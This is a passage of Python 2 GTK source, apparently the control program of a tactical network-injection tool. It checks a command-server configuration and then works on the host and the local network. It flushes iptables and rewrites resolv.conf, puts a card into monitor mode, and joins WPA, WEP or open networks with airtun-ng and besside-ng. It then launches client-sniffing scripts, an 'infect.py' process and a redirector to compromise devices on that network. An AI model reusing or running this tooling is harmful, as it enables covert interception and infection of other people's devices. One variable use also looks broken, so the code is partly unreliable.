           if value['connected'] and (value['type'] == 'wireless') and (iface['dev'] != value['dev']): continue
           if iface['dev'] == snif:
	       self.builder.get_object("comboboxtext9").prepend_text("Use the same interface")
           else:
               self.builder.get_object("comboboxtext9").prepend_text(snif + ' (Internal Ethernet device)')

	try:
            if subprocess.check_output("dagdetect -c", shell=True).strip() == '0':
                pass
            else:
               self.builder.get_object("comboboxtext9").prepend_text("dag0 (Internal DAG Endace device)")
        except:
            pass

        self.builder.get_object("comboboxtext9").set_active(0)
        self.builder.get_object("comboboxtext9").set_sensitive(True)

    def selectinterface3(self, *args):
        try:
                ifacestr = self.builder.get_object("comboboxtext7").get_active_text()
	except:
                return

	try:
		index = string.find(ifacestr, ' ')
	except:
		return

	iface = ifacestr[0:index]
        self.wirelessiface = iface
	self.builder.get_object("button12").set_sensitive(True)
	self.builder.get_object("button24").set_sensitive(True)
	self.builder.get_object("radiobutton1").set_sensitive(True)
	self.builder.get_object("radiobutton2").set_sensitive(True)
	self.builder.get_object("radiobutton1").set_active(True)

    def autostartup(self, *args):
	if self.auto_startup == False:
	    self.auto_startup = True

	    subprocess.call('update-rc.d nia defaults', shell=True)
            subprocess.call('echo "{} Added to System startup the Network Injector on Wired network..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)
	else:
            self.auto_startup = False

            subprocess.call('update-rc.d -f nia remove', shell=True)
            subprocess.call('echo "{} Deleted to System startup the Network Injector on Wired network..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)

    def startstopwatch(self):
	class MyEventHandler(pyinotify.ProcessEvent):
	    def process_default(self, event):
		return

   	wm = pyinotify.WatchManager()
    	wm.add_watch('/opt/td-config/run/', pyinotify.ALL_EVENTS, rec=True)

    	notifier = pyinotify.Notifier(wm, MyEventHandler())

	while True: 
	    if self.started_exit == True:
                notifier.stop()
                break

            notifier.process_events()

	    if self.started_exit == True:
                notifier.stop()
                break

            if notifier.check_events() == True:
		if self.started_exit == True:
                    notifier.stop()
                    break
		else:
		    if self.started == True:
		        self.listclients()

	    time.sleep(0.5)

	return True

    def startstop(self, *args):
        if self.started_ni == False:
	    self.ni_running = True

            if self.started_newconf == True:
                self.dialog14 = self.builder.get_object("messagedialog14")
                msgdia = 'Configure with server is running...\nPlease finish with his operations or stop it first.'
                self.dialog14.format_secondary_text(msgdia)
                self.response14 = self.dialog14.run()
                if self.response14 == Gtk.ResponseType.OK:
                    self.dialog14.hide()
                    self.ni_running = False
                return
	    elif self.wi_running == True or self.status == 'started':
		self.dialog14 = self.builder.get_object("messagedialog14")
		msgdia = 'Wireless Intruder is running...\nPlease finish with his operations or stop it first.'
                self.dialog14.format_secondary_text(msgdia)
                self.response14 = self.dialog14.run()
                if self.response14 == Gtk.ResponseType.OK:
                    self.dialog14.hide()
                    self.ni_running = False
                    return
            elif (self.fa_running == True or self.fakeap_started == True) and self.wirelessiface != self.ifacelist[self.builder.get_object("comboboxtext1").get_active_text().split()[0]]['dev']:
		self.dialog14 = self.builder.get_object("messagedialog14")
                msgdia = 'Fake Access Point is running...\nPlease finish with his operations or stop it first.'
                self.dialog14.format_secondary_text(msgdia)
                self.response14 = self.dialog14.run()
                if self.response14 == Gtk.ResponseType.OK:
                    self.dialog14.hide()
                    self.ni_running = False
                    return
	    elif self.py_running == True or self.started_firewire == True:
		self.dialog14 = self.builder.get_object("messagedialog14")
		msgdia = 'Physical Unlock is running...\nPlease finish with his operations or stop it first.'
		self.dialog14.format_secondary_text(msgdia)
		self.response14 = self.dialog14.run()
		if self.response14 == Gtk.ResponseType.OK:
			self.dialog14.hide()
			self.ni_running = False
			return 

            if os.path.exists('/opt/td-config/share/server') == False or os.path.exists('/opt/td-config/share/port') == False or os.path.exists('/opt/td-config/share/key') == False or os.path.exists('/opt/td-config/share/cookie') == False:
                self.dialog29 = self.builder.get_object("messagedialog29")
		msgdia = 'Server configuration is not correct.\nPlease fix the server configuration on\nserver management:\nnetwork address, port and import key.'
                self.dialog29.format_secondary_text(msgdia)
                self.response29 = self.dialog29.run()
                if self.response29 == Gtk.ResponseType.OK:
                    self.dialog29.hide()
                    self.ni_running = False
                    return

            cerror = 0

            if os.path.exists('/opt/td-config/share/server') == True:
                ccount = 0

                for address in open('/opt/td-config/share/server').readlines():
                    ccount += 1
                    break

                if ccount != 1:
                    cerror = 1

            if os.path.exists('/opt/td-config/share/port') == True:
                ccount = 0

                for address in open('/opt/td-config/share/port').readlines():
                    ccount += 1
                    break

                if ccount != 1:
                    cerror = 1

            if os.path.exists('/opt/td-config/share/key') == True:
                ccount = 0

                for address in open('/opt/td-config/share/key').readlines():
                    ccount += 1
                    break

                if ccount != 1:
                    cerror = 1

            if os.path.exists('/opt/td-config/share/cookie') == True:
                ccount = 0

                for address in open('/opt/td-config/share/cookie').readlines():
                    ccount += 1
                    break

                if ccount != 1:
                    cerror = 1

	    if cerror == 1:
		self.dialog29 = self.builder.get_object("messagedialog29")
                msgdia = 'Server configuration is not correct.\nPlease fix the server configuration on\nserver management:\nnetwork address, port and import key.'
                self.dialog29.format_secondary_text(msgdia)
                self.response29 = self.dialog29.run()
                if self.response29 == Gtk.ResponseType.OK:
                    self.dialog29.hide()
                    self.ni_running = False
                    return

	    myiface = self.ifacelist[self.builder.get_object("comboboxtext1").get_active_text().split()[0]] 

	    if self.fakeap_started == False:
                try:
                    retip = subprocess.check_output("LANG=en_US.utf8 nmcli -t -f IP4 dev list iface '{}' | grep -i IP4.ADDRESS | awk '{{print $3}}' | sed -e 's/\/.*//g'".format(myiface['dev']), shell=True)
                    if len(retip) == 0:
		        self.dialog15 = self.builder.get_object("messagedialog15")
                        msgdia = 'IP address not found on ' + myiface['dev'] + ' network\ninterface. Please set it first.'
                        self.dialog15.format_secondary_text(msgdia)
                        self.response15 = self.dialog15.run()
                        if self.response15 == Gtk.ResponseType.OK:
                            self.dialog15.hide()
			    self.ni_running = False
                            return
                    else:
		        pass
                except:
		    self.dialog15 = self.builder.get_object("messagedialog15")
                    msgdia = 'IP address not found on ' + myiface['dev'] + ' network\ninterface. Please set it first.'
                    self.dialog15.format_secondary_text(msgdia)
                    self.response15 = self.dialog15.run()
                    if self.response15 == Gtk.ResponseType.OK:
                        self.dialog15.hide()
                        self.ni_running = False
                        return

	    if myiface['type'] == 'wireless':
		if self.builder.get_object("comboboxtext2").get_active_text() == "Use the same interface" and self.fakeap_started == False:
                    self.dialog12 = self.builder.get_object("messagedialog12")
                    self.response12 = self.dialog12.run()
                    if self.response12 == Gtk.ResponseType.NO:
                        self.dialog12.hide()
                        self.ni_running = False
                        return
                    elif self.response12 == Gtk.ResponseType.YES:
                        self.dialog12.hide()

		if self.fakeap_started == False:
		    if self.builder.get_object("comboboxtext2").get_active_text() == "Use the same interface":
			if self.netsig < 70:
			    self.dialog8 = self.builder.get_object("messagedialog8")

			    if self.netsig == 0:
				msgdia = 'The link quality is not detected,\nand the device may not work correctly.\n'
			        msgdia += 'If this problem persist, please\nreboot the machine.\nDo you want to continue?'
			    else:
			        msgdia = 'The link quality is very low (' + str(self.netsig) + '%),\nand the device may not work correctly.\nDo you want to continue?'
			    self.dialog8.format_secondary_text(msgdia)
               		    self.response8 = self.dialog8.run()
               		    if self.response8 == Gtk.ResponseType.NO:
                   	        self.dialog8.hide()
                   		self.ni_running = False
				return
               		    elif self.response8 == Gtk.ResponseType.YES:
                   		self.dialog8.hide()
		    else:
			if self.snisig < 70:
			    self.dialog8 = self.builder.get_object("messagedialog8")

			    if self.snisig == 0:
			        msgdia = 'The link quality is not detected,\nand the device may not work correctly.\n'
                                msgdia += 'If this problem persist, please\nreboot the machine.\nDo you want to continue?'
			    else:
			        msgdia = 'The link quality is very low (' + str(self.snisig) + '%),\nand the device may not work correctly.\nDo you want to continue?'
                            self.dialog8.format_secondary_text(msgdia)
                            self.response8 = self.dialog8.run()
                            if self.response8 == Gtk.ResponseType.NO:
                                self.dialog8.hide()
                                self.ni_running = False
                                return
                            elif self.response8 == Gtk.ResponseType.YES:
                                self.dialog8.hide()

		retcl = '1'

	        try:
                    retcl = subprocess.check_output("LANG=en_US.utf8 nmcli -t -f SSID dev wifi list iface '{}' | grep -Fi '{}' | wc -l".format(myiface['dev'], myiface['conninfo']['essid']), shell=True).strip()

                    if len(retcl) == 0:
			retcl = '1'
                        pass
                except:
		    retcl = '1'
                    pass

		if retcl != '1':
		    if self.fakeap_started == False:
                        self.dialog6 = self.builder.get_object("messagedialog6")
		        msgdia = 'There are multiple APs named ' + myiface['conninfo']['essid'] + '.\nNow you are connected to AP (' + myiface['conninfo']['bssid'].upper() + ').\nOnly devices associated to the same AP will be shown.\nDo you want to continue?'
		        self.dialog6.format_secondary_text(msgdia)
                        self.response6 = self.dialog6.run()
                        if self.response6 == Gtk.ResponseType.NO:
                            self.dialog6.hide()
			    self.ni_running = False
                            return
                        elif self.response6 == Gtk.ResponseType.YES:
                            self.dialog6.hide()

	    self.started_ni = True
	    subprocess.call("echo 'PROXY_IP = auto' > /opt/td-config/share/redirect_fqdn.txt", shell=True)

	    if self.modem3g == True:
                retip2 = None

                try:
                    retip2 = subprocess.check_output("LANG=en_US.utf8 nmcli -t -f IP4 dev list iface '{}' | grep -i IP4.ADDRESS | awk '{{print $3}}' | sed -e 's/\/.*//g'".format(self.modem3gconf['dev']), shell=True)
                    if len(retip2) == 0:
                        self.dialog15 = self.builder.get_object("messagedialog15")
                        msgdia = 'IP address not found on 3G modem network\ninterface. Please set it first.'
                        self.dialog15.format_secondary_text(msgdia)
                        self.response15 = self.dialog15.run()
                        if self.response15 == Gtk.ResponseType.OK:
                            self.dialog15.hide()
                            self.ni_running = False
                            return
                    else:
                        pass
                except:
                    self.dialog15 = self.builder.get_object("messagedialog15")
                    msgdia = 'IP address not found on 3G modem network\ninterface. Please set it first.'
                    self.dialog15.format_secondary_text(msgdia)
                    self.response15 = self.dialog15.run()
                    if self.response15 == Gtk.ResponseType.OK:
                        self.dialog15.hide()
                        self.ni_running = False
                        return

                retip2 = retip2[0:len(retip2) - 1]

		ispriv = False

                if retip2 != None or len(retip2) != 0:
		    cont = 0

                    try:
                        inet_pton(AF_INET, retip2)
                    except:
                        cont = 1
			pass

		    if cont == 0:
                        f  = unpack('!I', inet_pton(AF_INET, retip2))[0]
                        private = ([ 2130706432 , 4278190080 ], [ 3232235520 , 4294901760 ], [ 2886729728 , 4293918720 ], [ 167772160 , 4278190080 ])

                        for net in private:
                            if (f & net[1] == net[0]):
                                ispriv = True

		if ispriv == False:
                    subprocess.call("echo 'PROXY_IP_PLUS = {}' >> /opt/td-config/share/redirect_fqdn.txt".format(retip2), shell=True)

                self.modem3gip = retip2

	    if self.fakeap_started == False:
	        subprocess.call("iptables -F", shell=True)
                subprocess.call("iptables -t nat -F", shell=True)

            subprocess.call('echo "# Dynamic resolv.conf(5) file for glibc resolver(3) generated by resolvconf(8)" > /etc/resolv.conf', shell=True)
            subprocess.call('echo "#     DO NOT EDIT THIS FILE BY HAND -- YOUR CHANGES WILL BE OVERWRITTEN" >> /etc/resolv.conf', shell=True)
	    subprocess.call('echo "#" >> /etc/resolv.conf', shell=True)
            subprocess.call('echo "#     IF YOU WANT EDITING THIS FILE, PLEASE EDIT /var/run/dnsmasq/resolv.conf FILE" >> /etc/resolv.conf', shell=True)
            subprocess.call('echo "nameserver 127.0.0.1" >> /etc/resolv.conf', shell=True)

	    if os.path.exists('/var/run/dnsmasq/resolv.conf') == False:
                subprocess.call("echo 'nameserver 8.8.8.8' > /var/run/dnsmasq/resolv.conf", shell=True)
                subprocess.call("echo 'nameserver 8.8.4.4' >> /var/run/dnsmasq/resolv.conf", shell=True)
                subprocess.call("echo 'nameserver 208.67.222.222' >> /var/run/dnsmasq/resolv.conf", shell=True)
                subprocess.call("echo 'nameserver 208.67.220.220' >> /var/run/dnsmasq/resolv.conf", shell=True)
            else:
                try:
                    subprocess.check_output("grep -i 'nameserver 8.8.8.8' /var/run/dnsmasq/resolv.conf", shell=True)
                except:
                    subprocess.call('echo "nameserver 8.8.8.8" >> /var/run/dnsmasq/resolv.conf', shell=True)

                try:
                    subprocess.check_output("grep -i 'nameserver 8.8.4.4' /var/run/dnsmasq/resolv.conf", shell=True)
                except:
                    subprocess.call('echo "nameserver 8.8.4.4" >> /var/run/dnsmasq/resolv.conf', shell=True)

                try:
                    subprocess.check_output("grep -i 'nameserver 208.67.222.222' /var/run/dnsmasq/resolv.conf", shell=True)
                except:
                    subprocess.call('echo "nameserver 208.67.222.222" >> /var/run/dnsmasq/resolv.conf', shell=True)

                try:
                    subprocess.check_output("grep -i 'nameserver 208.67.220.220' /var/run/dnsmasq/resolv.conf", shell=True)
                except:
                    subprocess.call('echo "nameserver 208.67.220.220" >> /var/run/dnsmasq/resolv.conf', shell=True)

	    self.builder.get_object("grid1").set_sensitive(False)
            self.builder.get_object("buttonbox1").set_sensitive(False)
            t = threading.Thread(target = self.startstopni)
            t.start()
	else:
	    self.ni_running = True
	    self.started_ni = False 
	    self.builder.get_object("grid1").set_sensitive(True)
            self.builder.get_object("buttonbox1").set_sensitive(True)
	    t = threading.Thread(target = self.startstopni)
            t.start()

    def startstopni(self):
	if self.started == False:
	    self.do_gui(self.builder.get_object("buttonbox1").set_sensitive, True)
            self.do_gui(self.builder.get_object("label2").set_sensitive, True)
            self.do_gui(self.builder.get_object("label2").set_label, "Start new session, please wait...")
            self.do_gui(self.builder.get_object("button1").set_sensitive, False)
	    self.do_gui(self.builder.get_object("button21").set_sensitive, False)
	    self.do_gui(self.builder.get_object("button19").set_sensitive, False)
            self.do_gui(self.builder.get_object("label22").set_sensitive, False)
            self.do_gui(self.builder.get_object("label23").set_sensitive, False)

	    retcn = '1'

            try:
                retcon = subprocess.check_output("/opt/td-config/scripts/http_conntest.py", shell=True)

                if string.find(retcon, "Status 1") != -1:
                    retcn = '1'
                    pass
		else:
		    retcn = '0'
		    pass
            except:
                retcn = '0'
                pass

            if retcn != '1':
		print "[  conntest][00000000] Connection is down"
                self.dialog7 = self.builder.get_object("messagedialog7")
                Gdk.threads_enter()
                self.response7 = self.dialog7.run()
                Gdk.threads_leave()
                if self.response7 == Gtk.ResponseType.NO:
                    self.do_gui(self.dialog7.hide)
                    self.started_ni = False
                    self.builder.get_object("grid1").set_sensitive(True)
                    self.builder.get_object("buttonbox1").set_sensitive(True)
		    self.do_gui(self.builder.get_object("label2").set_label, "")
		    self.do_gui(self.builder.get_object("label2").set_sensitive, True)
            	    self.do_gui(self.builder.get_object("button1").set_sensitive, True)
		    self.do_gui(self.builder.get_object("button21").set_sensitive, True)
		    self.do_gui(self.builder.get_object("button19").set_sensitive, True)
		    self.do_gui(self.builder.get_object("label22").set_sensitive, True)
                    self.do_gui(self.builder.get_object("label23").set_sensitive, True)
		    self.ni_running = False
                    return
                elif self.response7 == Gtk.ResponseType.YES:
                    self.do_gui(self.dialog7.hide)
	    else:
		print "[  conntest][00000000] Connection is up"
	else:
	    self.do_gui(self.builder.get_object("label2").set_label, "")

        iface = self.ifacelist[self.builder.get_object("comboboxtext1").get_active_text().split()[0]]
        if self.builder.get_object("comboboxtext2").get_active_text() == "Use the same interface": snif = iface
        else: snif = self.ifacelist[self.builder.get_object("comboboxtext2").get_active_text().split()[0]]

        self.ngrep_snif = snif['dev']
	self.ngrep_type = iface['type']

        if self.started == False:
	   self.started_exit = False
	   self.reauth_status = False
    	   self.infect_status = False
    	   self.deinfect_status = True
	   self.RCS_pid = None
    	   self.besside_pid = None
    	   self.airtun_pid = None
    	   self.names_pid = None
    	   self.links_pid = None
    	   self.clients_pid = None
	   self.infect_pid = None

	   if self.fakeap_started != True:
               self.ni_iface = self.ifacelist[self.builder.get_object("comboboxtext1").get_active_text().split()[0]]['dev']

               retip = None

               try:
                   retip = subprocess.check_output("LANG=en_US.utf8 nmcli -t -f IP4 dev list iface '{}' | grep -i IP4.ADDRESS | awk '{{print $3}}' | sed -e 's/\/.*//g'".format(self.ni_iface), shell=True)
                   retip = retip2[0:len(retip2) - 1]
               except:
                   pass

               if retip == None or len(retip) == 0:
                   self.dialog15 = self.builder.get_object("messagedialog15")
                   msgdia = 'IP address not found on ' + self.ni_iface + ' network\ninterface. Please set it first.'
                   self.dialog15.format_secondary_text(msgdia)
                   Gdk.threads_enter()
                   self.response15 = self.dialog15.run()
                   Gdk.threads_leave()
                   if self.response15 == Gtk.ResponseType.OK:
                       self.do_gui(self.dialog15.hide)
                       self.started_ni = False
                       self.builder.get_object("grid1").set_sensitive(True)
                       self.builder.get_object("buttonbox1").set_sensitive(True)
                       self.do_gui(self.builder.get_object("label2").set_label, "")
                       self.do_gui(self.builder.get_object("label2").set_sensitive, True)
                       self.do_gui(self.builder.get_object("button1").set_sensitive, True)
                       self.do_gui(self.builder.get_object("button21").set_sensitive, True)
                       self.do_gui(self.builder.get_object("button19").set_sensitive, True)
                       self.do_gui(self.builder.get_object("label22").set_sensitive, True)
                       self.do_gui(self.builder.get_object("label23").set_sensitive, True)
                       self.ni_running = False
                       return

               self.ni_ifaceip = retip
	   else:
	       self.ni_iface = None
	       self.ni_ifaceip = None

	   self.rcstimeout = GObject.timeout_add(2000, self.startstopreboot, None)

	   if self.builder.get_object("comboboxtext2").get_active_text() != "Use the same interface" and self.ifacelist[self.builder.get_object("comboboxtext1").get_active_text().split()[0]]['type'] == 'wireless' and self.fakeap_started == False:
               snifcard = self.builder.get_object("comboboxtext2").get_active_text().split()[0]
               snifmac = subprocess.check_output("LANG=en_US.utf8 nmcli -t -f GENERAL dev list iface '{}' | grep -i HWADDR | sed -e 's/GENERAL.HWADDR://g'".format(snifcard), shell=True)
               snifmac = snifmac.lower()
               subprocess.call("cp /etc/NetworkManager/NetworkManager.conf /opt/td-config/run/", shell=True)
               disablesnif = "\n[keyfile]\nunmanaged-devices=mac:" + snifmac
               subprocess.call("echo '{}' >> /etc/NetworkManager/NetworkManager.conf".format(disablesnif), shell=True)
               subprocess.call("killall -1 NetworkManager", shell=True)
	       self.disable_snifcard = snifcard
               time.sleep(1)

	   if snif['type'] == 'wireless':
	       subprocess.call("iwconfig '{}' txpower auto 2> /dev/null".format(snif['dev']), shell=True)
               subprocess.call("iwconfig '{}' power off 2> /dev/null".format(snif['dev']), shell=True)
	       subprocess.call("iw dev '{}' set power_save off 2> /dev/null".format(snif['dev']), shell=True)
               subprocess.call("iwconfig '{}' txpower auto 2> /dev/null".format(iface['dev']), shell=True)
               subprocess.call("iwconfig '{}' power off 2> /dev/null".format(iface['dev']), shell=True)
	       subprocess.call("iw dev '{}' set power_save off 2> /dev/null".format(iface['dev']), shell=True)

           subprocess.call('rm -f /opt/td-config/share/redirect_tactical.txt 2> /dev/null', shell=True)
	   subprocess.call('rm -rf /opt/td-config/run/rcs/ 2> /dev/null', shell=True)
           subprocess.call('rm -rf /opt/td-config/run/besside/ 2> /dev/null', shell=True)
	   subprocess.call('rm -rf /opt/td-config/run/links/ 2> /dev/null', shell=True)
	   subprocess.call('rm -rf /opt/td-config/run/names/ 2> /dev/null', shell=True)

	   try:
               os.makedirs('/opt/td-config/run/rcs/')
           except:
               pass

	   try:
	       os.makedirs('/opt/td-config/run/besside/')
	   except:
	       pass

	   try:
	       os.makedirs('/opt/td-config/run/links/')
	   except:
	       pass

	   try:
	       os.makedirs('/opt/td-config/run/names/')
	   except:
	       pass

	   try:
	       os.makedirs('/opt/td-config/run/ngrep/')
	   except:
	       pass

           subprocess.call('rm -f /opt/td-config/run/rcs/match 2> /dev/null', shell=True)
	   subprocess.call('rm -f /opt/td-config/run/ngrep/match 2> /dev/null', shell=True)
	   subprocess.call('rm -f /opt/td-config/run/besside/match 2> /dev/null', shell=True)

	   ff = open('/opt/td-config/run/rcs/match', 'w')
	   ff.close()

	   os.chmod('/opt/td-config/run/ngrep/', 0777)

	   ff2 = open('/opt/td-config/run/ngrep/match', 'w')
	   ff2.close()

	   os.chmod('/opt/td-config/run/ngrep/match', 0777)

	   ff3 = open('/opt/td-config/run/besside/match', 'w')
	   ff3.close()

	   subprocess.call('killall -SIGKILL RCSRedirect 2> /dev/null', shell=True)
	   subprocess.call('pkill -KILL -f names.py 2> /dev/null', shell=True)
           subprocess.call('pkill -KILL -f links.py 2> /dev/null', shell=True)
           subprocess.call('pkill -KILL -f links_gui.py 2> /dev/null', shell=True)
           subprocess.call('pkill -KILL -f clients.py 2> /dev/null', shell=True)
           subprocess.call('pkill -KILL -f clients2.py 2> /dev/null', shell=True)
	   subprocess.call('pkill -KILL -f http_conntest.py 2> /dev/null', shell=True)
	   subprocess.call('pkill -KILL -f infect.py 2> /dev/null', shell=True)
	   subprocess.call('killall -SIGKILL iw 2> /dev/null', shell=True)
	   subprocess.call('killall -SIGKILL ngrep 2> /dev/null', shell=True)
           subprocess.call('killall -SIGKILL airtun-ng 2> /dev/null', shell=True)
           subprocess.call('killall -SIGKILL besside-ng 2> /dev/null', shell=True)

           if snif['type'] == 'wireless':
	      if self.fakeap_started != True:
                  subprocess.call('/opt/td-config/bin/airmon-ng stop mon0 >/dev/null', shell=True)
                  subprocess.call("/opt/td-config/bin/airmon-ng start '{}' '{}' >/dev/null".format(snif['dev'], iface['conninfo']['chan']), shell=True)
		  subprocess.call("iw dev mon0 set power_save off 2> /dev/null", shell=True)
              time.sleep(1)
              if snif == iface:
                 snif = iface.copy()

           conf =  '[COMMON]\n'
           conf += 'log_level = 4\n'
           if snif['type'] == 'wireless':
              conf += 'sniffing_iface = "at0"\n'
              if self.fakeap_started == True:
                  conf += 'sniffing_iface_channel = 6\n'
	      else:
                  conf += 'sniffing_iface_channel = ' + str(iface['conninfo']['chan']) + '\n'
           else:
              conf += 'sniffing_iface = "' + snif['dev'] + '"\n'
	      conf += 'sniffing_iface_channel = 6\n'

           if self.fakeap_started == True:
	       conf += 'response_iface = "at0"\n'
	   else:
               conf += 'response_iface = "' + iface['dev'] + '"\n'
           conf += 'pcap_filter = ""\n'
           conf += '\n'

           if iface['type'] == 'wireless' and self.fakeap_started != True:
               conf += '#[WIFI]\n'

               if iface['conninfo']['encr'] == 'WPA':
                   conf += '#wifi_key = "wpa:pwd:' + iface['conninfo']['key'] + ':' + iface['conninfo']['essid'] + '"\n'
                   conf += '#\n'
               elif iface['conninfo']['encr'] == 'WEP':
                   pwd = ""
                   index = 0

                   for x in iface['conninfo']['key']:
                       if index % 2 == 0:
                          pwd = pwd + "\\x"

                       pwd = pwd + str(x)
                       index = index + 1

                   if len(iface['conninfo']['key']) == 10:
                       conf += '#wifi_key = "wep:64:s:' + pwd + '"\n\n'
                   elif len(iface['conninfo']['key']) == 26:
                       conf += '#wifi_key = "wep:128:s:' + pwd + '"\n\n'
		
           conf += open('/opt/td-config/share/rcsredirect.conf.orig').read()
           open('/opt/td-config/share/rcsredirect.conf', 'w').write(conf)

	   try:
               os.makedirs('/opt/td-config/run/besside/')
	   except:
	       pass

           open('/opt/td-config/run/besside/fclients', 'w').close()
           if snif['type'] == 'wireless':
              self.wpa = False
              if self.fakeap_started == True and string.find(self.builder.get_object("comboboxtext1").get_active_text(), "(Fake Access Point)") != -1:
		 self.started_type = "FakeAP"
	         pass
	      elif iface['conninfo']['encr'] == 'WPA':
		 while True:
                     airtun_proc = subprocess.Popen("/opt/td-config/bin/airtun-ng -a '{}' -e '{}' -p '{}' mon0".format(iface['conninfo']['bssid'], iface['conninfo']['essid'], iface['conninfo']['key']), shell=True)
                     self.airtun_pid = self.child_pid(airtun_proc.pid)
		     if self.airtun_pid == None:
			 subprocess.call("killall -SIGKILL airtun-ng 2> /dev/null", shell=True)
		         continue
		     else:
			 break

		 while True:
                     besside_proc = subprocess.Popen("/opt/td-config/bin/besside-ng -v -i -b '{}' -c '{}' mon0".format(iface['conninfo']['bssid'], iface['conninfo']['chan']), shell=True)
                     self.besside_pid = self.child_pid(besside_proc.pid)
		     if self.besside_pid == None:
			 subprocess.call("killall -SIGKILL besside-ng 2> /dev/null", shell=True)
		         continue
		     else:
			 break

                 self.wpa = True
		 self.started_type = "WPA"
              elif iface['conninfo']['encr'] == 'WEP':
		 while True:
                     airtun_proc = subprocess.Popen("/opt/td-config/bin/airtun-ng -a '{}' -w '{}' mon0".format(iface['conninfo']['bssid'], iface['conninfo']['key']), shell=True)
		     self.airtun_pid = self.child_pid(airtun_proc.pid)
		     if self.airtun_pid == None:
			 subprocess.call("killall -SIGKILL airtun-ng 2> /dev/null", shell=True)
		         continue
		     else:
			 break

		 self.started_type = "WEP"
              else:
		 while True:
                     airtun_proc = subprocess.Popen("/opt/td-config/bin/airtun-ng -a '{}' mon0".format(iface['conninfo']['bssid']), shell=True)
		     self.airtun_pid = self.child_pid(airtun_proc.pid)
		     if self.airtun_pid == None:
			 subprocess.call("killall -SIGKILL airtun-ng 2> /dev/null", shell=True)
		         continue
		     else:
			 break

		 self.started_type = "Open"

              time.sleep(1)
	      if self.fakeap_started != True:
                  subprocess.call('ifconfig at0 up', shell=True)
              time.sleep(1)

              if self.wpa == False:
		  while True: 
	              clients_proc = subprocess.Popen('/opt/td-config/scripts/clients.py -i at0 -d "{}"'.format(iface['dev']), shell=True)
		      self.clients_pid = self.child_pid(clients_proc.pid)
		      if self.clients_pid == None:
			  subprocess.call('pkill -KILL -f clients.py 2> /dev/null', shell=True)
		          continue
		      else:
			  break
              else:
		  while True:
		      clients_proc = subprocess.Popen('/opt/td-config/scripts/clients2.py -i at0', shell=True)
		      self.clients_pid = self.child_pid(clients_proc.pid)
		      if self.clients_pid == None:
			  subprocess.call('pkill -KILL -f clients2.py 2> /dev/null', shell=True)
		          continue
		      else:
			  break

	      while True:
                  names_proc = subprocess.Popen('/opt/td-config/scripts/names.py -i at0', shell=True)
	          self.names_pid = self.child_pid(names_proc.pid)
		  if self.names_pid == None:
		      subprocess.call('pkill -KILL -f names.py 2> /dev/null', shell=True)
		      continue
		  else:
		      break

	      while True:
                  links_proc = subprocess.Popen('/opt/td-config/scripts/links.py -i at0', shell=True)
	          self.links_pid = self.child_pid(links_proc.pid)
		  if self.links_pid == None:
		      subprocess.call('pkill -KILL -f links.py 2> /dev/null', shell=True)
		      continue
		  else:
		      break
           else:
	      self.wpa = False
	      while True:
                  clients_proc = subprocess.Popen("/opt/td-config/scripts/clients.py -i '{}' -d '{}'".format(snif['dev'], iface['dev']), shell=True)
	          self.clients_pid = self.child_pid(clients_proc.pid)
		  if self.clients_pid == None:
		      subprocess.call('pkill -KILL -f clients.py 2> /dev/null', shell=True)
		      continue
		  else:
		      break

	      while True:
                  names_proc = subprocess.Popen("/opt/td-config/scripts/names.py -i '{}'".format(snif['dev']), shell=True)
	          self.names_pid = self.child_pid(names_proc.pid)
		  if self.names_pid == None:
		      subprocess.call('pkill -KILL -f names.py 2> /dev/null', shell=True)
		      continue
		  else:
		      break

	      while True:
                  links_proc = subprocess.Popen("/opt/td-config/scripts/links.py -i '{}'".format(snif['dev']), shell=True)
	          self.links_pid = self.child_pid(links_proc.pid)
		  if self.links_pid == None:
		      subprocess.call('pkill -KILL -f links.py 2> /dev/null', shell=True)
		      continue
		  else:
		      break

	      self.started_type = "Ethernet"

	   while True:
               infect_proc = subprocess.Popen("/opt/td-config/scripts/infect.py", shell=True)
               self.infect_pid = self.child_pid(infect_proc.pid)
               if self.infect_pid == None:
                   subprocess.call('pkill -KILL -f infect.py 2> /dev/null', shell=True)
                   continue
               else:
                   break

	   if self.fakeap_started == True and self.modem3g == True:
	       if subprocess.check_output("iptables -t nat -L | grep -i DNAT | grep -i {} | wc -l".format(self.routeip), shell=True)[:-1] == '0':
                   subprocess.call("iptables --table nat --append PREROUTING -d {} -j DNAT --to {}".format(self.modem3gip, self.routeip), shell=True)

           time.sleep(1)
	   while True:
	       RCS_proc = subprocess.Popen('ulimit -c 10000000; ./bin/RCSRedirect', shell=True, cwd='/opt/td-config')
               self.RCS_pid = self.child_pid(RCS_proc.pid)
	       if self.RCS_pid == None:
		   subprocess.call("killall -SIGKILL RCSRedirect 2> /dev/null", shell=True)
	           continue
	       else:
		   break
           time.sleep(1)

	   if snif['type'] == 'wireless' and self.fakeap_started != True and snif['dev'] != iface['dev']:
	       subprocess.call("ifconfig '{}' up".format(self.disable_snifcard), shell=True)
	       while True:
                   try:
                       retht = subprocess.check_output("/opt/td-config/bin/iw dev '{}' scan 2> /dev/null | grep -i '{}' | grep -Fi '{}'".format(iface['dev'], iface['conninfo']['bssid'].lower(), iface['conninfo']['essid']), shell=True).strip()
                       if len(retht) == 0:
                           pass
                       else:
                           if string.find(retht, " - below") != -1:
			       print "[        iw][00000000] " + iface['dev'] + ' ' +  iface['conninfo']['bssid'].lower() + ' ' + iface['conninfo']['essid'] + ' HT40-'
                               subprocess.call("iw dev '{}' set freq '{}' HT40-".format(snif['dev'], iface['conninfo']['freq']), shell=True)
			       self.htcomand = 'iw dev ' + snif['dev'] + ' set freq ' + str(iface['conninfo']['freq']) + ' HT40-'
			       break
                           elif string.find(retht, " - above") != -1:
			       print "[        iw][00000000] " + iface['dev'] + ' ' +  iface['conninfo']['bssid'].lower() + ' ' + iface['conninfo']['essid'] + ' HT40+'
                               subprocess.call("iw dev '{}' set freq '{}' HT40+".format(snif['dev'], iface['conninfo']['freq']), shell=True)
			       self.htcomand = 'iw dev ' + snif['dev'] + ' set freq ' + str(iface['conninfo']['freq']) + ' HT40+'
			       break
                           elif string.find(retht, " - no secondary") != -1:
			       print "[        iw][00000000] " + iface['dev'] + ' ' +  iface['conninfo']['bssid'].lower() + ' ' + iface['conninfo']['essid'] + ' HT20'
                               subprocess.call("iw dev '{}' set freq '{}' HT20".format(snif['dev'], iface['conninfo']['freq']), shell=True)
			       self.htcomand = 'iw dev ' + snif['dev'] + ' set freq ' + str(iface['conninfo']['freq']) + ' HT20'
			       break
